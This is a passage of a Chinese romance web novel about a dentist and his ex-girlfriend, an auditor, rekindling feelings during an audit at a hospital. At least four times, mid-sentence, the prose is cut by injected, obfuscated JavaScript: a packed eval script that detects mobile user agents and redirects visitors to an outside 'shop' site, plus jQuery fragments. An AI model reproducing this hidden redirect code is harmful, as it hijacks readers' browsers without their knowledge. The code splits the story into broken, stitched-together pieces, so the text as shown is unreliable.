l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12915063|135637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 他们在谈论这颗患牙,又好像不止在谈论这颗患牙。 凌晨的夜晚,医院门诊口腔科的非开放时间,面对着元知知这唯一一个患者,他也短暂的越过了医生该有的界限。 他没有再坚持,而是像一个普通医生面对陌生患者时那样,提醒但尊重:“不过,我尊重患者的决定。” 孟懿从药物储备柜里额外取出失活剂和充填器,做开髓的准备。 元知知舔了舔左侧后槽牙,就连舌尖的触碰也刺激起一阵尖锐刺痛:“作为患者,我听取医生的建议。” 孟懿眸光闪了闪,拉过工具台,重新开始检查她的牙齿。 牙科高速手机发出类似电钻的呜呜声,接近她的牙齿时她下意识闭紧了眼,但孟懿动作很轻。 清了两次口后她的眉目渐渐舒展,但不敢放松警惕。 孟懿调整了手上角度,牙龈猛地一酸,刚放松的眉目再度皱起。 “没事没事乖乖,有一点点感觉,等一会儿就好了。” 又是刚才那副哄孩子的口吻,工作时的孟医生和平常冷冰冰的他判若两人,但她不但没被安抚下来,反而在疼痛驱使下涌上一阵阵的委屈。 在下意识抬手想抓身旁人手却抓了个空时这种委屈伴随着疼痛更甚。 元知知疼的眼角泛起泪花,顺着鬓角划入发中,在脸颊处留下冰凉的划痕。 孟懿停了手上动作,待要靠近她的侧脸时才突然意识到自己双手还拿着口镜与牙科手机。 诊床上的女人有些难受的抽着冷气,若隐若现的舌尖在唇齿间滑动,他按住了她的嘴唇:“不要去舔。” 在她看不见的角度,孟懿脖颈略微僵直,橡胶手套阻隔了手指与嘴唇间的温度,他却无法避免的回忆起了曾经唇齿相接时柔软的触感。 因着医院规定诊室内并没有存放多余的麻药,不到明天早上一楼的药房不会打开,现在她只能忍着。 “这颗牙坏的太接近神经,清理时是会比一般龋齿疼很多,我——” “我需要操作,不方便让你牵着,你先抓着这个吧。” 一件藏青色风衣落在她的怀里,未散的烟草气充满鼻腔,许是许久没近过主人的身了,这味道并不刺鼻。 大概是他平常放在诊室里备用的衣物。 小时候补牙有爸妈陪着,高中补牙就变成元知知自己一个人去了,接近一个小时下来揪的她自己满手的指甲印,红通通的。 后来就变成她补完一次牙,孟懿两手的手背上就布着小巧的指甲印,外缘圆圆内缘弯弯的像是月牙一样,还有几分可爱。 他曾经还趁机拍下来做过自己微信头像,四处炫耀这是爱的痕迹。 大学时元知知也没逃过牙科诊所的宿命,只是布满指甲印的手又变成了她自己的。 他的风衣有些大,团在她怀里像一床沙发被一样,掌心之下触感柔软舒适,一摸就知其价格不菲。 孟懿再度磨着患牙深龋的部分,她没再掐自己的手,恶狠狠抓着手上的风衣,就像抓着它的主人一样。 29. 第 29 章 蔡医生是在处理完半夜突然急性牙疼的住院部病人后才看到元知知消息的。 病人门牙上长了颗囊肿,需要全麻手术,就是情况不太稳定,这一夜他都没有好好休息。 从病房出来后他没看到人才后知后觉摸出手机,十分钟前元知知就已经发消息过来说牙齿已经不疼了、不用麻烦他了。 这事儿直到第二天的白班他都还有些可惜,趁着病人还没来时和护士长小声聊着。 “也不知道元老师牙齿怎么样了,她又走得近,否则我今天来也能给她看一下。” 护士长年龄稍大,看他就像看小辈一样,那点小心思一览无余:“你可以在微信上多问问她牙齿情况,元老师肯定也愿意和专业的医生多沟通交流嘛。” 蔡医生眼前一亮,和她线上联系的话题这不就有了! 刚进入诊室的孟懿一边开电脑一边不经意的清咳两声:“你们刚刚在说元知知?” “嗯,昨天夜里她牙齿好像不太舒服。” 不知出于什么心理,蔡医生补充了一句:“刚好赶上我值班,本打算帮她看一下的,后来又说不用了,也不知道现在情况怎么样。” “我正准备发消息问问她。” 孟懿摩挲着鼠标,语气淡然道:“深龋,我已经处理好了。” “处理好了?”蔡医生瞪大一双圆溜溜的眼睛,就连嘴巴也长大了:“昨天元老师......也联系孟医生了?” 手指微妙顿了顿,他随即靠坐在硬的硌人的木椅靠背上,嘴角嗪上一抹算不上愉快的微笑:“没有联系我,出门恰好碰上了而已。” 蔡医生听到这个回答一张干净的娃娃脸明显放松下来,哼着歌去消毒自己的治疗台去了。 护士长插嘴道:“元老师应该算易龋体质吧,她那深龋就算补好了要是有什么不舒服估计还是得杀髓做根管,怪受罪的。” 孟懿在后台登上了医生账号:“嗯,她有不舒服可以随时来找我。” “诶,孟医生你不知道吗?” 埋头躬身擦拭治疗台上部件的蔡医生突然转头冲着他问,脸上是纯粹的不解。 他转动带轮的独椅,换了个方向趴在3号诊床与他相隔的透明塑料板上。 “元老师今天一早就出发回海河市去了,她昨晚弄牙齿的时候没跟孟医生说吗?” 孟懿手上的签字笔啪的一声掉落在地上,笔帽摔出好几米远。 他没有着急去拾取掉落的东西,声音冷冷的听不出什么情绪:“她说了,她当然给我说了。” - 【MY:。】 【CPA拥有者:?】 元知知和孟懿的聊天记录一眼就可以看完全,连滑动页面翻一翻的必要都没有,少得可怜。 上一条消息也是孟懿发来的,和这次一样是一个句号。 没耐心等他下文,元知知按灭了屏幕。 元教授探了探头,“谁的消息?” "怎么了爸?" 她有些奇怪,元教授一向是放养教育的支持者,很少管她的交友和日程,今天怎么突然问起这个了。 他扶了扶鼻上架着的玳瑁眼睛框:“是孟懿那小子吧?” “爸......” “哼,我一猜就是他,当初可还没见过我女儿为哪个男人哭过呢。” 微信新消息的提示音突兀响起,元知知按了静音键。 "行了,想看就看吧,我对他就是有再大的意见看在你的份上都会接纳的。" 元教授哼笑:“别着急反驳,爸看得出来,孟懿这个人对你来说很不一般吧,打算什么时候复合?” 元知知挽着他的胳膊耍赖:“爸你说什么呢?可别乱点鸳鸯谱啊。” “我有没有乱点鸳鸯谱你自己心里清楚着呢,”元教授前半句话还有点在课堂上教育学生的意思,后一句话语气又柔和了下来,“不管什么时候,内心的感受都是第一位的,爸爸不在意那个臭小子,我只是在想我的宝贝女儿什么时候能放过自己。” 她面上刻意做出的孩子气出现裂痕,到底还是沉默了。 元教授见状拍拍她的手背,自顾自倚着靠背改起了学生的论文。 元知知解锁了手机,孟懿的头像上顶着新消息提示的小红点。 【MY:牙齿怎么样了?】 【MY:如果有哪里不舒服及时和我沟通】 【CPA拥有者:已经不痛了】 她咬了咬牙,从牙龈深处到鼻腔都有一种被驻空后空落落的酸痛感。 冷水碰不得、热水碰不得、冷风吹不得,连咬东西都还不太敢。 下了高铁后应该得去药店买几颗消炎药。 【MY:回海河市了?】 【CPA持有者:嗯,总所临时有事需要回来处理】 【MY:什么时候回来?】 【CPA持有者:说不准,过段时间吧】 【MY:嗯】 孟懿调好手上用来做临时冠的自凝,等刚好空闲过来帮忙的护士长调整好病人后再根据病人牙齿的形状磨合假牙。 他们都很忙,往后几天微信再次停留在了这短短几句话没有动弹。 元知知所在的事务所已经两年没有被省上抽查时抽中了,老项目都年复一年以上一年的底稿为蓝本,如今陡然被抽中需要补足的程序和工作量不可小觑。 章汝舟留在华清看着项目,她则回来补底稿。 回到海河市快要五天了甚至没往家门的方向去过,会议室里都是年初项目组的成员,男人胡子拉碴、女人皮肤蜡黄。 堆积的文件稿在长桌中央筑成一堵高墙,相对而坐的两个人都很难看清彼此正脸。 陆昱头疼的抓着头发,只觉比出具报告时更折磨人了。 元知知拎起自己的杯子预备去茶水间冲杯速溶咖啡提神,出门时顺便带走了他的。 “那个影帝真来了?” “对啊,我刚刚进去送文件还以为看错了,估计是税务 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12960744|135637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方面的委托。” “可惜上着班不敢要签名合照。” 她脚步顿了一顿,停在门边。本是对什么明星演员都不感兴趣,不料一转头就看到了同事们嘴里说的那个影帝。 还有影帝身边与他举止亲密的女人,不算年轻,但她有一张保养得宜又十分眼熟的面孔。 元知知愣住。 于薇不耐烦的甩开身旁的男友,朝着茶水间门前的方向支支下巴:“那边那个,你们税务部门怎么走的?” 这样的大客户怎么会没有同事接待。 无暇思考这样的问题,心悸和窒息感占据胸腔,元知知算得上有些狼狈的躲回了茶水间里。 这道声音,渐渐和那道夹杂着电流的女声重合。 她们并没有见过面,可正是因为从未相见,对声音的记忆就尤为深刻。 甚至于她可能至今都不知道元知知这么一个人的存在,但元知知却能一眼认出她来。 “知知怎么了?脸色怎么这么白啊?” “外面有虫子吗?我看看去。” 好心的同事打开门扫视一圈,纳闷道:“没看到有什么虫啊,连个人影都没有。” “知知你是不是看错了?” 元知知这才回神,那人……已经离开了吗?她强自镇定回了会议室。 陆昱接过她手上的咖啡杯,眼含担忧的望着她,欲言又止。 “怎么了?” “你拎着杯子去茶水间干嘛了,”他擎起杯柄,向着地面倾倒了两下示意杯子里什么都没有,“咖啡呢?” “抱歉,”她扶了扶额,“我重新去冲。” 他按住她的手:“算了,我看你这几天也是太累了,要不休息下吧。” “对了,你手机刚刚一直在响,好像是有人给你发消息。” 元知知接受了他的好意,短暂的脱离工作稍作休息。 也是到现在她才有空点开除了工作群以外的消息,发消息的人竟然是已经好几天不联系的孟懿。 【MY:[图片]】 图片里是一只肥嘟嘟的伯恩山,元知知的心瞬间就被毛茸茸的小狗软化。 许是看她许久没回消息,这时又弹出了一条白色对话框。 【MY:抱歉发错了,时间过了撤回不了】 她在聊天框里一字一句敲出了“没关系”,又很快全部删掉了。 刚刚那个女人的脸始终在她的眼前明暗闪烁,曾经那张被撕碎的申请表让她快要喘不过气,对孟懿的愧疚和自我谴责快要将她压倒。 孟懿的母亲,她.....突然出现了。 在她感情快要失控时,像一道突然响起的警报那样出现了 “知知,前年的借款台账能找到吗,发我一份。” “稍等。” 闭了闭眼,神思平静片刻她将目光重新挪到电脑屏幕打开的文件上。 紧密的工作占据了思绪。 到最后元知知也没有回复孟懿的消息。 30. 第 30 章 元知知和陆昱再回到华清市的时候已经是两周后的事情了,高铁上竟然是他们这十多天来唯一可以尽情补觉的时间。 林鹤之也早在一周多以前随着西部学术论坛的结束回到了海河市,张女士几次三番有想要撮合约会的意思,但她连回家的时间都没有又哪有时间参加什么相亲局。 倒是林鹤之曾在微信上向她表达过理解,最后也是他先劝住了自己的母亲这才让张女士也消停了些。 元教授埋着头喝茶装鹌鹑,竭力降低自己在这个家里的存在感,但还是失败了。 张女士重重一拍桌子,案几上茶宠身上的茶水流动的更欢了。 “你说说你,知知婚姻大事也不知道多上心一点,好不容易和人小林认识了,感情都还没来得及巩固巩固就又要走了。” 元教授擦了擦自己沾湿了的手:“你都说了是婚姻大事嘛,咱们就少操点心,让她自己决定这种大事好了。” “自己决定,要让她自己决定不知道得等到猴年马月了,我看小林这小伙子就不错,是个适合成家的,他妈妈那边也说这孩子不排斥和咱们知知接触。” 端坐着的中年男人扶了扶眼镜,沉吟道:“林鹤之是不错的孩子,但我看,他俩成不了。” “成不了?” “嗯,知知有自己的主意。”他想着此次前往华清时所见到的孟懿,心中的猜测已经拿定了百分之八九十。 他女儿是什么心思暂且不表,孟家小子的心思就算瞒的过其他人也瞒不过他。 想要了解一个人就看他的眼睛,孟懿绝不是一个沉不住气情绪外放的人,但元教授偏偏轻而易举看透了他。 不过是因为他从没想过要在他的面前遮掩或美化什么。 张女士长叹一口气坐下:“我也不是真的要催着她结婚,只要有一个稳定些的对象也行,前些年也谈过那么两个不错的,就是每次分手都不明不白,好像怎么也走不到最后似的。” 元教授拉着她的手坐在自己身边,轻轻揽住她的肩膀:“年轻人玩心都重,我们只管好好享受我们的日子就成了。” 张女士眉目并没有丝毫舒展,她看着自己的丈夫:“如果只是玩心重倒还没什么,我只是总有些不安……” 高考结束的那个暑假元知知状态实在太吓人了,为人父母却从没见过女儿这副模样,即使过去多年她心中还是无法忘记那时候的担忧。 时至今日,看着女儿谈了一任任男朋友又分了一任任男朋友,她鬼使神差的就想起了那个暴雨频频的夏天里呜咽着的小小声“孟懿”。 元教授想了想,终究还是没有把在华清市吃过的那顿饭告诉她,他理解妻子,但也心疼女儿。 - “前往华清市的旅客请注意,前方到站:华清西站。” “……” 陆昱起身从行李架上将小箱子取下,元知知搭了把手。 “跟小舟说过了,她这会儿应该已经到出站口等着我们了。” 证件很快刷出了人脸识别,出战闸机打开,入目是一片荒凉。 华清西站偏僻冷清,出站口和沥青马路中间还隔着一大片黄泥地,电动三轮经过时带起一阵阵尘土。 站在尘土中的人裤脚染上了黄泥,但莫名让人觉得他是纤尘不染的。 午后的阳光略略洒在他的身上,白色长袖衬衫和黑色西装裤共同勾勒出他优越的身形。 整个出站厅的大门就像一架冰冷的画框,而黄土和黄土之上的人共同构成了这幅画。 元知知站住了脚步,陆昱不明所以也跟着停在原地。 孟懿本埋头把玩着手上的车钥匙,却不知道怎么第一时间察觉了他们的动静,当即大步迎了上来。 他伸手,元知知没有把行李递给他,他也不强求,将手收了回来。 陆昱神色莫名:“这位是?” 孟懿看向这个男人,他的脸曾经好几次出现在他的噩梦里,梦中的他出席着他与元知知的婚礼。 每每从这样的梦中醒来,后半夜就是没法睡的了。 “我是知知朋友,接你们回医院。” 陆昱点点头,元知知放开了行李箱把手:“章汝舟人呢?” 孟懿晃了晃车钥匙:“忙,找我帮忙。” 元知知有些怀疑。 事实也的确不是那么简单,章汝舟最开始去口腔科只是因为和口腔科的医护玩的熟一些,想借辆车来接人。 谁知道事情一说这活不知怎么三言两语就变成了孟懿的,她则是感恩戴德回去加班了。 她张了张嘴,心中暗骂章汝舟这不靠谱的女人。 拉过行李,却见孟懿还站在原地不动,她疑惑的挑眉,他则是看着陆昱道:“想必这位就是……陆经理吧?” 元知知不用问就知道又是章汝舟说出来的。 陆昱礼貌和他握手寒暄一阵,倒也算愉快,无论是经济还是当今政策孟懿都有极深的了解,两人相谈甚欢。 后来得知他是医生后陆昱就更为欣赏了,并非业内人士谈吐却不落俗套,足见对方的见识广博。 他朝元知知飞去一个暧昧的眼刀,她瞬间就意识到陆昱这是误会了,不但误会甚至还很满意她的这个“男朋友”。 陆昱谈兴大发,一直到拉开了副驾驶的门时才短暂怔愣,接着一把拉过元知知示意她上车。 不容抗拒又以极快速度的,汽车已经发动了起来。 “陆经理有谈女朋友吗?” 车载电台的声音不知道什么时候被关了,孟懿问这话时的语气很平淡,但元知知瞬间僵硬了身体。 忙起来早把这一茬儿给忘了,他又在这个时候问这个,他是什么意思?还是知道了什么? 陆昱显然更惊讶,孟懿不像是会八卦这些私人事情的人,但他还是带着笑回答:“哪能呢,一年前和前女友掰了之后我也想明白了,没缘分就是连订了婚都能掰,渐渐也就没什么谈感情的兴趣了。” “是吗?”孟懿意味不明的笑了一声:“你们这个工作这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12987110|135637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忙,这么不和同事——” 他的话音一顿,感受着右手被一阵柔软又有力的温热覆盖,元知知带着劝阻意味的握住了他的手。 但陆昱这样的人精从不需要把话听完就能明白对方的问题:“和同事没可能的,谁愿意所里上完班后回家还得和另一半面对着面熬大夜加班,不信你问问元知知,别看我俩表面关系不错加班的时候不知道怎么在背后骂我的呢。” 最后一句话是玩笑话,但讲完之后只有他一个人笑了起来,驾驶座和副驾驶的两人之间萦绕着一种莫名其妙又让旁人插不进去的气氛。 陆昱尴尬收了笑声,转而欣赏起窗外毫无观赏性的大马路。 孟懿已经得到了想要的答案,但砰砰直跳的心还未回归到正常的频率。 他稍稍动了动变速杆上的右手,下一秒女人的手就飞速拿开了,只留下馨香的体温还不舍的残留在他的手背上。 他转头想看她。 她轻轻一句“好好开车”。 孟懿又把头转了回去,当真认认真真盯着路况了。 黑色轿车一直驶进医院停在了宿舍区,不等前面的两人动作陆昱就已经迅疾的下车拎包走人。 元知知紧跟着也想开车门,一只手按在了她搭在车把手的手背上,就像刚刚她按住他的手背一样。 转眼间形势逆转。 孟懿为了按住她,身体不可避免的靠近她,和车门与座椅一同把她困在这方小小的三角区域内,避无可避。 “男朋友?” 嗤笑轻响,温热的呼吸喷洒在下巴和颈窝连接处,像是在贴着她讲话。 元知知冷冷移开视线,她的呼吸被控制的很轻,呼出的热气没有睚眦必报的回敬给孟懿。 “元知知,你现在果然成长了,连假男友这种撇脚的谎言都能扯出来。” 她冷笑:“不过是顺水推舟。” “你不敢靠近我,划清的界限也不敢越过一步,知知,你很怕我,你根本忘不了我。” 不是问句而是信誓旦旦的陈述。 这个时候的孟懿才让人瞬间意识到他并不只是一个普通而耐心的医生,他还是被望族孟家倾注了无数心血培养起的唯一接班人。 与生俱来的贵气和举手投足的压迫若不是金银堆积,很难如此浑然天成,让人从心底就产生下意识的臣服。 做医生时夹杂着温柔的冷峻与此刻不同,此刻更像是一个睥睨的上位者,在逼迫着自己的猎物心甘情愿走向他的方向。 元知知抬眼看他,他眼里翻滚着的欲色也被她尽收眼底、无一错漏。 她好似真的像他的猎物一样,被他牢牢压制着。 狭小的轿车车厢内供养不足,两个人又挨的极近,男人低沉的呼吸愈发粗重。 元知知伸出葱白的食指,竖起在孟懿的唇边,柔软的唇被压出一条深深的凹陷:“我没有同意你吻我。” 孟懿周身强势的侵略气焰瞬间破败,像是一个鼓胀的气球被一根细小的银针戳破。 31. 第 31 章 孟懿慢慢退了回去,“吻你?我还没有疯到去吻一个普通老同学。” 元知知没有放下搭在车门上的手,这一次她顺利打开了:“你最好是。” 他目送着她的背影,打火机弹响声被淹没在风里,车内又燃起了呛人的烟草味。 独属于她的香气盈满鼻腔,他曾经问过蔡医生,最后发现除了他谁也没有闻到过元知知身上独有的香味。 不属于任何一类香,只一闻到就能想起她。 孟懿磨了磨后槽牙。 夏天真的到了,毒辣的太阳晒的他头晕眼花。 但他大概忘了,坐在空调制冷的车里根本晒不到太阳。 - 华清一院的项目已经接近尾声了。 小时候的元知知最讨厌的就是结束和离别,动画片的片尾曲、好朋友的道别,无一不让她厌恶。 从父亲工作的高校附属幼儿园一路读到初中,身边的同学和朋友几乎没有过变动,就连不同阶段所处的校园也是紧紧毗邻。 是高中时的突然转学教会了她什么是一段时光的真正结束。 那时候她才意识到人生根本就是阶段性的,很少有人能陪她走完全程。 工作后她则是彻底适应了离别,毕竟这才是常态,甚至于离别对他们来说还称得上是一件好事。 比如一个繁重项目的告一段落、比如好友对未来做出了新的选择,这些挂着伤感名头的种种离别都值得庆祝。 组里临时招来的在校实习生已经陆续结束实习,章汝舟的离职报告已经交了上去,事务所九月份的晋升名单也早早确定了元知知的名字。 对他们来说这一段历程的结束该是喜悦的,但这一次有些特殊,他们少有的产生了不舍。 当蔡医生哭丧着脸说想要大家一起吃顿饭聚一聚的时候陆昱哭笑不得的答应了。 这大概是他们第一次与甲方单位的业务部门聚餐,而非财会部门。 甚至于这一次聚餐是出于私交而非应酬,两个群体的联系始于蔡医生和元知知,但其后的深厚羁绊则是由他们自己搭建。 事务所的审计部人员和医院的口腔科医护竟然成了交情不错的朋友,这是在接手这个项目前未曾料到的意外。 但陆昱非常愉悦的接受了这个事实,他一向秉承着多个朋友好办事的观念。何况他已经通过自己的渠道了解到了孟懿的家世,更是极力的促成这次聚餐的成形。 两组人马干脆定在了这周六晚上就在医院附近聚一聚,双方都不算太忙,能到齐的人也多。 等到了周六傍晚结束了一天工作后审计组的人才姗姗来迟,这时口腔科医护都已经到了。 他们一下车就看到了立在餐厅门前的蔡医生。 辨清楚来人后他的娃娃脸霎时飞扬起笑脸,看起来很是可爱:“元老师!各位老师。” 章汝舟一双美目一转,打趣着:“怎么就单独和知知打招呼啊,我们在小蔡医生眼里难不成是路人甲路人乙?” 蔡医生薄薄的面皮又开始发红,元知知悄悄拧了拧她腰间的软肉,疼的她嘴角一咧,讪讪闭了嘴。 “还站这里聊什么呢?”孟懿不知道是什么时候出现的,当他出现时领导者这个角色仿佛自动落到他的身上,大家很快结束寒暄鱼贯进入餐厅包厢。 蔡医生看着吊在队伍末尾的元知知,刻意顿了足。 最前方的孟懿也侧头,他为陆昱等人指清了包间方向后倒转回去走到她的身旁:“等我来请你?” 这一双高挑的男女径直走过,蔡医生即使是当事人也能想象到自己在他们面前大概像个没长大的弟弟。 他面红耳赤的看着他们路过自己身边,元知知还冲他招了招手,老老实实跟在他们身后时他更感觉自己像一个小朋友了。 入座,他们三个人恰好连在一起。 医护组的众人想尽办法让蔡医生和元知知能坐在一起,不料孟懿率先一步拉开了凳子。 其余人这才挪动着位置又给蔡医生空出一个她身边的空位。 他情绪很不对,元知知不动声色的瞥了一眼心不在焉的蔡医生。 热心的护士长开始一一为他们打上一盅养胃汤,小蔡医生接过时不慎撒了几滴到手指上,但沉浸在自己的世界里竟像察觉不到疼痛。 她拣起餐盘边的擦手湿巾递给他:“被烫着了都感觉不到吗?” “啊,啊,谢谢元老师。”蔡医生胡乱抹着自己的手,犹犹豫豫的嘴唇重复闭合几次,她突然生起不好的预感,但他像是终于下定了决心般说道:“元老师,散场后……咱们要不要一起走走。” 不好的预感落到实处,元知知已经能猜到他想要对她说什么了。 “刺啷”,瓷器碰撞的声音像一道惊雷。 “嘶。” 对面的几人惊慌失措的喊道:“孟医生你没事吧?” 元知知注意力瞬间被拉走,她转头睨向另一侧的人,蔡医生敛下了黯然的神色。 孟懿的手红了一大片,上面残留的汤渍还顺着手背弧度往下淌着,他却没急着处理。 她下意识想取湿巾,视线扫向桌面时才想起来她把自己的湿巾给蔡医生了。 元知知最终一把抓过了他自己的擦手湿巾搭在他的手背上。 孟懿终于是动作起来,开始一点一点处理自己这一小片狼籍。 她松了口气,这才转身对蔡医生应下他刚才的邀请道:“散场后干脆就走回医院吧,吃饱了刚好可以消化消化。” 蔡医生由阴转晴,重新露出了笑意。 孟懿手上动作微不可察停顿片刻,白瓷勺里正舀着几片口蘑,他看也不看就往嘴里送。 胳膊肘受到外力撞击一歪,勺子里的东西连着汤一起撒入碗里。 一碗蔬菜粥被放在他手边,元知知没什么诚意的平淡道:“抱歉不小心撞到,喝这个吧。” 孟懿凝视那碗粥半晌,就在暗暗关注这边的其它人提了一口气的时候,他将那碗粥挪到了正前,盛起菜粥时嘴角是勺子没能挡住的笑意。 若有若无,但他们看得清清楚楚。 不同于从小体质就不怎么好的元知知,孟懿很少生病。但他却有一个致命的过敏源,口蘑。 小学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13006358|135637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时他就因口蘑严重过敏直直从餐桌前倒了下去,险些窒息在家中,还是二楼的保姆阿姨察觉到不对才将他送去医院抢救了过来。 从住院到出院他的父母都不曾露过一面,记住他这次危险经历的除了他自己就是保姆阿姨了。 后来他在元知知面前无意提了一句,便不得不将这事儿一五一十说过她听,从此记住这段危险过往的人多了一个。 少女的眼睛总是亮晶晶笑盈盈的,但在听到这个故事的时候流露的是令人心悸的后怕与担忧。 那个时候即使故作冷淡如孟懿也不得不承认,当她的情绪为他而变化时他甚至兴奋的颤栗。面对这样的元知知,他根本没办法竖起尖锐的盔甲。 她对他来说好像很不一样,这是他第一次察觉到自己不对劲的失控,但他选择放任了这样的失控。 孟懿平常从不碰自己的过敏源,没想到今天恰巧撞上了,神思不属间险些真的把自己送进医院急诊同事那儿。 他埋头喝粥,那碗口蘑汤被横在一边,很快被清理渣盘的服务员收了下去。 这顿饭直到结束他们两人间也没有除“谢谢”、“不客气”之外的交谈了。 饭后散场,开了车来的人自觉的分担着送客回家的责任,唯有元知知和蔡医生婉拒了他们的好意。 入了夜后的城市一改白日冷漠的白与寂静的灰,如同每一个过去的夜晚一样五彩的霓虹照亮了整座城,像升起了另一轮怪异的太阳。 高悬空中的弯月在这样的光亮映衬下显得有些惨白,但蔡医生时不时抬头望向这轮月亮,仿佛极为欣赏。 他的视线无处安放,心中的话也尚且缺乏勇气。 华清一院的大门已经近在咫尺,元知知倒是少有的放松:“蔡医生,很晚了,你该回家去了。” “元老师,我……” 她笑起来,连眼睛都带了些和善的弧度。明明是再亲昵不过的模样,但蔡医生的心瞬间凉了,余下的话怎么也吐不出来。 “人与人的遇见有无限可能,很高兴能拥有你这样一个朋友。” 他的嗓子有些艰涩,脚后跟不断摩擦着水泥地面:“我也很荣幸,认识你。” “早些回去吧,已经很晚了。” 外表像是少年一样的男人垂了头,在已知结果的前提下他已没有勇气再表明任何心意。 过去许久,他终于直视了她的眼睛,笑容里已是和她如出一辙的疏离:“你的确和孟医生很相配,祝福你们。” 不给愕然的元知知反驳的机会,他转身消失在了夜幕里。 每一个故事都有一个温柔的开始,但结局少有真正的美满。 于她、于蔡医生、于孟懿,都是如此。 从医院大门走到医院宿舍时又已经到了每晚的断电时间,一楼的宿舍窗户里断断续续有抱怨着市政效率的声音传来,元知知没有打开手机电筒,借着微弱的月光拾级而上。 一片寂静的三楼楼梯口,明灭闪烁的火星子看起来比窗外的月光更明亮。 元知知并不意外孟懿的等待。 他们隔着一阶楼梯,眼神交汇。 32. 第 32 章 烟头已经被掐灭了,整片长长的走廊重新归于黑暗。 月色黯淡,但足以看清楚彼此的脸。 “我记得你的宿舍不在三楼。” “嗯,”孟懿往自己嘴里放了一块清凉糖,烟味稍稍被驱散,“真是走回医院的?” 元知知翻找钥匙的手一顿,没有回答,但也没有转身离开。 孟懿侧了侧脸,半张脸被隐藏在黑暗里,绷紧的下颌也一同缩进了黑暗中。 “他给你表白了?” 许是仗着黑暗模糊的遮掩,元知知面对着他时没了过往的警惕,整个人出奇的放松。 “没有表白。” 懒洋洋的一声气音,听起来似乎是孟懿在轻笑,但他很快收了声,她并没有听的多清楚。 “看来你拒绝了。” 元知知没有否认,单个的宿舍钥匙被出行杂物埋在不知包的哪个角落里,没有灯光的情况下更难翻找到。 一道白光突兀打来,是孟懿举起了手机。 她睨了他一眼,低下头找出了钥匙。 “一句谢谢也不说?” 孟懿嗓音沉沉,同时发出声音的还有门锁被打开的清脆。 “没事就早点回去休息吧。” “宿舍楼下水道被堵了,白天检修过没能解决,现在应该是停水了。” 停水了,也就没法洗漱洗澡了。 元知知瞬间感觉汗液留在身上的黏糊直接将衣服粘在了皮肤上,浑身不舒服。 孟懿的手不知道什么时候按在了门把手上,他们的指尖挨的有些近,一动就会和彼此碰上。 “我的房子不在这个片区,没有停电,供水也很稳定,”他定定的看着她,“如果你需要的话,可以使用那个房子。” 元知知饶有兴味的盯紧了他:“是你常住的居所?” “嗯。”他的表情没有变化,摸不透丝毫内心的想法。 “大晚上一个单身男人邀请单身女人去自己的家,大家都是成年人了,孟懿,你这是什么意思呢?” 孟懿从青春期起就初现高大的身形,如今成年了一双长腿更是优越,两人站在同一水平上时他低了头看她。 扣到最上面一颗扣子的衬衫敞了领口,修长的脖颈连接着漂亮的肩颈线条大方展示在人前,深邃的眉目冷淡镇定,整个人充斥着禁欲的性感,他却像体会不到七情六欲一般俯视红尘,这样的神情让元知知觉得自己刚才对他的揣测都是一种玷污。 “如果你介意,我今晚会自己回到医院来住。” 场面好似僵持了许久,实际上才过去了一分钟不到。 孟懿听见她说了“好”。 汽车发动的声音打破了寂静,白亮到冷酷的车前灯更添一些萧索。 元知知的注意力被从内后视镜上垂下的吊坠吸引,是一个小小的圆坠子,金属的两方圆像是能打开,有些像旧式的怀表。 此前几次她竟然都没有注意到这么一个小东西,制作精细的吊坠像是已经失去光泽许久,金属的表面有零碎的黑色锈迹,大概是常被主人拿在手上把玩。 她好奇的盯着看了半晌,情不自禁伸出手。 但还没碰到就被另一只有力的手握住了手腕,用劲不小。 出手之迅疾甚至让元知知看出了几分慌乱,他面上是少见的严肃和冷凝。或许这东西对他非常重要,重要到旁人连碰一碰都不能。 元知知从善如流想要收回手,但用了用力没能动弹分毫,鸦羽般的睫毛微微扇动,将纷杂的情绪尽数掩去。 “你好好开车,我不碰就是了。” 孟懿松开了钳制着她的手。 待车在地下车库停稳,孟懿先下了车。两手一手拎着一只包,装的分别是元知知和他自己的洗漱物品换洗衣物。 她空着手跟在他身后,电梯停在了车库这一层楼,又快速的到了目的地。 他的家门装了指纹锁,但他没有用指纹按开,而是毫不遮掩的输入了密码,防盗门应声而开。 0823。 她的生日。 鼓噪的心跳声被毫不留情的忽略,元知知移开目光,像是从来没有看到这一幕一样。 